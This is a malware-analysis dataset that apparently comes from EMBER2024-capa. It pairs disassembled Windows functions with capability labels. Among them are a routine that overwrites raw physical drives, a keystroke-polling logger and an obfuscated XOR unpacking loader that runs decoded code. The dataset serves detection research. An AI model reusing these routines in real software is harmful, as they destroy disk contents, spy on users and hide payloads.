joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7463f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x74b494]
cmp dword [eax + 0x28], 0
jne 0x746408
xor eax, eax
jmp 0x746537
mov ecx, dword [0x74b414]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x74b408], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0x74b404], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x10], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x74b408]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x74b404]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0x74b48c]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x80000000
push 0x74a604
push 0x74a620
push 0x88
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x74b400], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.00746330
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x7463c0
mov edx, dword [0x74b494]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x74b40c], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x746537
cmp dword [ebp - 0x38], 0x12
jne 0x74652b
mov dword [0x74b41c], 0
call fcn.00746540
xor eax, eax
jmp 0x746537
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x7464fc
mov esp, ebp
pop ebp
ret 4

Function at 0x747840
Capabilities:
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x74820c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x74a118
sub eax, eax
test esi, esi
je 0x7482e4
sub eax, 1
test ecx, ecx
je 0x7482e2
test esi, 3
je 0x74824a
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x74822f
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x7482c9
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x748254
mov ecx, edx
test ecx, ecx
je 0x7482e2
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x7482cf
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x7482ec
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0074836f
jae 0x7482fa
xor ecx, ecx
call fcn.0074836f
jae 0x748329
xor eax, eax
call fcn.0074836f
jae 0x748339
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0074836f
adc al, al
jae 0x74831b
jne 0x748365
stosb byte es:[edi], al
jmp 0x7482fd
call fcn.0074837b
sub ecx, ebx
jne 0x748342
call fcn.00748379
jmp 0x748361
lodsb al, byte [esi]
shr eax, 1
je 0x74838b
adc ecx, ecx
jmp 0x74835e
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00748379
cmp eax, 0x7d00
jae 0x74835e
cmp ah, 5
jae 0x74835f
cmp eax, 0x7f
ja 0x748360
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7482fd
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x748c7c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x74b000]
jne 0x748c86
repz ret
jmp fcn.00748f2d
Function at 0x403330
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40010
call fcn.00884c10
mov eax, dword [0x8ab050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40000
lea eax, [ebp - 0x40004]
push 0
push eax
call fcn.00885850
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive1
mov dword [ebp - 0x4000c], eax
call esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive2
mov dword [ebp - 0x40010], eax
call esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive3
mov ebx, eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
push 0
lea eax, [ebp - 0x40008]
push eax
push 0x40000
lea eax, [ebp - 0x40004]
push eax
push dword [ebp - 0x4000c]
call esi
push 0
lea eax, [ebp - 0x40008]
push eax
push 0x40000
lea eax, [ebp - 0x40004]
push eax
push dword [ebp - 0x40010]
call esi
push 0
lea eax, [ebp - 0x40008]
push eax
push 0x40000
lea eax, [ebp - 0x40004]
push eax
push ebx
call esi
push 0
lea eax, [ebp - 0x40008]
push eax
push 0x40000
lea eax, [ebp - 0x40004]
push eax
push edi
call esi
push dword [ebp - 0x4000c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x40010]
call esi
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00883d4a
mov esp, ebp
pop ebp
ret
Function at 0x4045b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x8ab050]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0
push 2
push 0
push 0
push 0x10000000
push ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 4
Function at 0x8814d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x8ab050]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, 0xffff
mov esi, ecx
cmp ax, di
jne 0x881505
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push ebx
mov ecx, dword [eax]
test ecx, ecx
je 0x881543
mov edx, dword [esi + 0x30]
mov ebx, dword [edx]
lea eax, [ecx + ebx*2]
cmp ecx, eax
jae 0x881543
lea ecx, [ebx - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], di
pop ebx
mov ax, di
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x88160d
mov ebx, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [ebx], eax
jne 0x88156d
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [ebx], ecx
mov eax, dword [esi + 0x1c]
sar edx, 1
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x88157a
push dword [esi + 0x4c]
push edi
jmp 0x8815b6
movzx eax, di
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x8815e0
sub eax, 1
je 0x8815e0
sub eax, 2
jne 0x88160d
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.008883cf
mov ecx, 0xffff
add esp, 8
cmp ax, cx
movzx eax, di
jne 0x881612
pop ebx
pop edi
mov eax, ecx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub ebx, eax
je 0x8815fd
push dword [esi + 0x4c]
push ebx
push 1
push eax
call fcn.00888e3e
add esp, 0x10
cmp ebx, eax
jne 0x88160d
lea eax, [ebp - 0x28]
mov byte [esi + 0x3e], 1
cmp dword [ebp - 0x30], eax
jne 0x88152d
mov eax, 0xffff
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 4
Function at 0x882010
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x8ab050]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x8820d2
cmp byte [esi + 0x3e], 0
je 0x8820d2
mov eax, dword [esi]
push edi
push 0xffff
call dword [eax + 0xc]
mov ecx, 0xffff
cmp cx, ax
je 0x8820c0
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x882088
sub eax, 1
je 0x88208c
sub eax, 2
jne 0x8820c0
mov byte [esi + 0x3e], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3e], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x8820a9
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00888e3e
add esp, 0x10
cmp edi, eax
jne 0x8820c0
cmp byte [esi + 0x3e], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00883d4a
mov esp, ebp
pop ebp
ret

Function at 0x88f8e2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0088f593

Function at 0x88f8ed
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0088f71d
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x401bd7
pop dword [ebp - 8]
mov eax, 0x401bd7
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xfce94923
sub dword [ebp - 0x18], 0xae9703d8
mov dword [ebp - 0x14], 0xa94818de
sub dword [ebp - 0x14], 0x7714cc99
mov dword [ebp - 0x10], 0x2736d1cb
sub dword [ebp - 0x10], 0xdaea8d9d
mov dword [ebp - 0xc], 0x556fa666
add dword [ebp - 0xc], 0xaa90599a
lea eax, [ebp - 0x18]
push eax
mov eax, 0x89c047af
add eax, 0x768028b1
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x5373a1d1
sub dword [ebp - 0x18], 0xdf01387b
mov dword [ebp - 0x14], 0xa5dd682c
add dword [ebp - 0x14], 0x9b8ef949
mov dword [ebp - 0x10], 0xfcaaf01c
sub dword [ebp - 0x10], 0x993b83b0
mov dword [ebp - 0xc], 0xf61ca66
add dword [ebp - 0xc], 0xf09e359a
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3745f
push 0
call eax
mov ecx, 0x92c84bd5
sub ecx, 0x92c8010a
mov edi, eax
mov edx, 0x410000
add edx, dword [ebp - 8]
mov esi, 0xc1674b67
add dword [ebp - 4], esi
mov ebx, dword [edx]
xor dword [ebp - 4], 0x45bb158c
xor ebx, esi
mov dword [ebp - 4], 0x655d8cae
mov dword [edi], ebx
add dword [ebp - 4], 0x234a8293
add edi, 4
add edx, 4
loop 0x401ce3
add eax, 0x11dff
xor ebx, ebx
add ebx, eax
add eax, 0x70dce82b
add eax, 0x8f2317da
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x40a900
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46e89b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004631cd
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a982
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00460e80
mov eax, dword [eax]
push 0x551214
push eax
call fcn.00453154
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00463458
test bl, bl
je 0x40a982
push 0x551214
lea ecx, [esp + 0xc]
call fcn.004637e8
push 0x554d98
lea ecx, [esp + 0xc]
call fcn.004637e8
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a9be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00463458
jmp 0x40aa89
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40aa42
lea edx, [esp + 0x7c]
push 0x554d94
push edx
call fcn.00453154
add esp, 8
test eax, eax
je 0x40aa42
lea eax, [esp + 0x7c]
push 0x554d90
push eax
call fcn.00453154
add esp, 8
test eax, eax
je 0x40aa42
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a9d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00463458
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b280
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b2e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b2f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46e91b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x55dec0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b428
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b356
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00463458
xor eax, eax
jmp 0x40b49f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00463595
push esi
lea ecx, [esp + 0xc]
call fcn.00463824
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b47d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b280
test eax, eax
jne 0x40b47d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b280
test eax, eax
jne 0x40b47d
lea eax, [esp + 0x14]
push 0x554dac
push eax
call fcn.00454190
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b45c
lea ecx, [esp + 0x14]
push 0x554da8
push ecx
call fcn.00454110
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b45c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b45f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00463545
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b36e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00463458
xor eax, eax
jmp 0x40b49f
mov byte [esi], 0
push 0x554da4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00463458
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41bd50
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41bdbe
cmp si, 0x69
ja 0x41bdbe
add esi, 0xffd0
cmp si, 0x11
je 0x41bd8e
push 0x11
call edi
test ax, ax
jge 0x41bd8e
or esi, 0x2000
cmp si, 0x10
je 0x41bda3
push 0x10
call edi
test ax, ax
jge 0x41bda3
or esi, 0x4000
cmp si, 0x12
je 0x41bdb8
push 0x12
call edi
test ax, ax
jge 0x41bdb8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41bdcb
mov esi, 0xbd
jmp 0x41bd7f
cmp si, 0x6e
jne 0x41bdd8
mov esi, 0xbe
jmp 0x41bd7f
cmp si, 0x6f
jne 0x41bd79
mov esi, 0xbf
jmp 0x41bd7f

Function at 0x41d470
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x56e5d8]
xor edx, edx
cmp eax, edx
jne 0x41d496
xor eax, eax
mov byte [eax + 0x56e4d8], al
inc eax
cmp eax, 0x100
jl 0x41d47e
mov dword [0x56e5d8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x56e4d8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d527
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d4fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d4c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d5a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d5f3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d5da
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424030
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4241c8
cmp ebp, ebx
jle 0x4241c8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42408e
dec eax
or eax, 0xfffffff8
inc eax
je 0x424095
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4240a4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4240ab
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00463199
add esp, 4
cmp eax, ebx
je 0x4240cc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00463199
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4241be
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4241a5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x424191
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x424186
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x424194
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x424194
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x424130
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x424121
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret